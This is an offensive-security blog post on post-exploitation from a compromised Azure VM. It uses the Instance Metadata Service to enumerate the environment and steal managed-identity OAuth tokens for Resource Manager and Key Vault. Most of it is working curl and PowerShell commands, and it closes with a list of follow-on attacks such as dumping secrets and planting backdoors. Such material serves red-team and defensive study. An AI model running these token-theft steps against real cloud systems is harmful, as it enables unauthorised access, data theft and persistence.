Azure VM Hacked? Time to Raid IMDS for All It’s Worth!

So… you’ve popped a shell on an Azure VM. Congrats 👏

But hold your shells this isn’t the end. It’s only the beginning of something beautifully dangerous. Now it’s time to blow the doors off and see what secrets the cloud has been hiding behind that VM.

Let’s raid the Instance Metadata Service (IMDS).

What’s IMDS and Why Should You Care?  

Azure’s Instance Metadata Service (IMDS) is a local HTTP accessible service available at the non-routable IP address 169.254.169.254. Think of it as a metadata vending machine 📟 but no coins needed. Microsoft designed IMDS to provide applications running on Azure VMs with important contextual information about their environment. But in the hands of someone who has compromised a VM, it can become an intelligence gathering tool.

But here’s the kicker: if Managed Identities are enabled, IMDS can also serve you OAuth tokens. Yes, actual access tokens with potential privileges in the Azure subscription.

Basic IMDS Call  

Let’s start with the basics. As mentioned above, the IMDS is accessible via a simple HTTP request to a special endpoint. The request should always include the header: Metadata: true (this is done to secure against attacks like SSRF).

curl -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-12-13" | jq

This command fetches the basic instance metadata and pipes it through jq for pretty formatting. The response includes juicy details like:

• VM ID, name, location, zone
• Resource group name
• Subscription ID
• Compute information (OS, VM size, etc.)
• Network information (Private IPs, MAC)

  Note

The same thing can be done using poweshell

Invoke-RestMethod -Headers @{"Metadata"="true"} -Uri "http://169.254.169.254/metadata/instance?api-version=2021-12-13" | ConvertTo-Json -Depth 10

Network Configuration 🌐  

The network configuration information can be particularly valuable. Let’s extract just that piece:

curl -H "Metadata:true" "http://169.254.169.254/metadata/instance/network?api-version=2021-12-13" | jq

From the output, you can learn about:

• Interface details (MAC, Private IP)
• Subnet information
• Public IP addresses
• DNS servers

Attached Resources 💿  

Utilizing the below request we can easily detect all the attached resources:

curl -H "Metadata: true" "http://169.254.169.254/metadata/instance/compute/storageProfile?api-version=2021-02-01" | jq

Using the response, you can enumerate:

• OS disk details
• Data disks (names, URIs)
• Image reference

Scheduled Events 📅  

Azure VMs can receive notifications about upcoming maintenance events through IMDS:

curl -H "Metadata:true" "http://169.254.169.254/metadata/scheduledevents?api-version=2020-07-01" | jq

While not always directly useful for post-exploitation, this information can help you understand potential changes to the environment.

Tags 🏷️  

In many cases, we can gather useful information from the tags being used. To retrieve them, use the following:

curl -H "Metadata: true" "http://169.254.169.254/metadata/instance/compute/tagsList?api-version=2021-02-01" |  jq

Tags might contain useful information about environment, owner, purpose, etc.

Azure Environment Details  

In order to identify whether you’re in Azure public cloud, government cloud, China cloud, etc. Check:

curl -H "Metadata: true" "http://169.254.169.254/metadata/instance/compute/azEnvironment?api-version=2021-02-01&format=text"

User Data  

Here’s a lesser known but potentially critical detail. Azure allows you to assign custom user data to VMs (like a startup script or configuration blob). And yes, that data is accessible via IMDS.

curl -H "Metadata:true" "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021-02-01&format=text" | base64 -d

This will return a Base64-encoded blob of whatever the user set.

Hunting for Managed Identities (MSI)  

Now for the real action, let’s check if the VM has a Managed Identity attached. Try:

curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/info?api-version=2021-12-13" | jq

If the VM doesn’t have a managed identity, the IMDS request will likely return a 404 Not Found . Next, let’s get an access token that this identity can use.

# Get token for Azure Resource Manager
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-12-13&resource=https://management.azure.com/" | jq

The token you receive can be used to make API calls to Azure Resource Manager with whatever permissions the managed identity has been granted!

Want other scopes like Key Vault? Replace the resource parameter

&resource=https://vault.azure.net

Check RBAC Permissions  

If you have a managed identity, check its permissions (only if you have the necessary privileges to perform this action):

# Get token for Azure Resource Manager
TOKEN=$(curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?resource=https://management.azure.com/&api-version=2018-02-01" | jq -r .access_token)

# Check role assignments (if permissions allow)
curl -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions/<subscription_id>/providers/Microsoft.Authorization/roleAssignments?api-version=2020-04-01-preview" | jq

Enumerate with the Token  

Use the token with az rest, curl, or any API client:

curl -H "Authorization: Bearer <token>" "https://management.azure.com/subscriptions?api-version=2020-01-01" | jq

You can enumerate:

• Subscriptions
• Resource Groups
• Virtual Machines
• Storage Accounts
• App Services
• Key Vaults
• Function Apps
• etc.

🚨 Pay attention to what permissions the token has. If it’s Contributor or higher… buckle up.

What an Attacker Can Do After Token Theft  

Here’s a few attack paths after getting the token:

• Dump Key Vault secrets
• List and download blobs from storage accounts
• Deploy your own backdoors via Function Apps
• Create new VMs for persistence
• Modify existing infrastructure

Wrapping Up  

In the cloud, gaining access is just the opening act. Once you’ve landed inside an Azure VM, the Instance Metadata Service is your treasure map. Follow it carefully, and you’ll find doors you never knew existed.

Always remember:

• Know the terrain (enumerate)
• Know your tools (IMDS & tokens)
• Know your goals (data exfil, lateral movement, persistence)

Stay smart, stay curious and use your powers for good.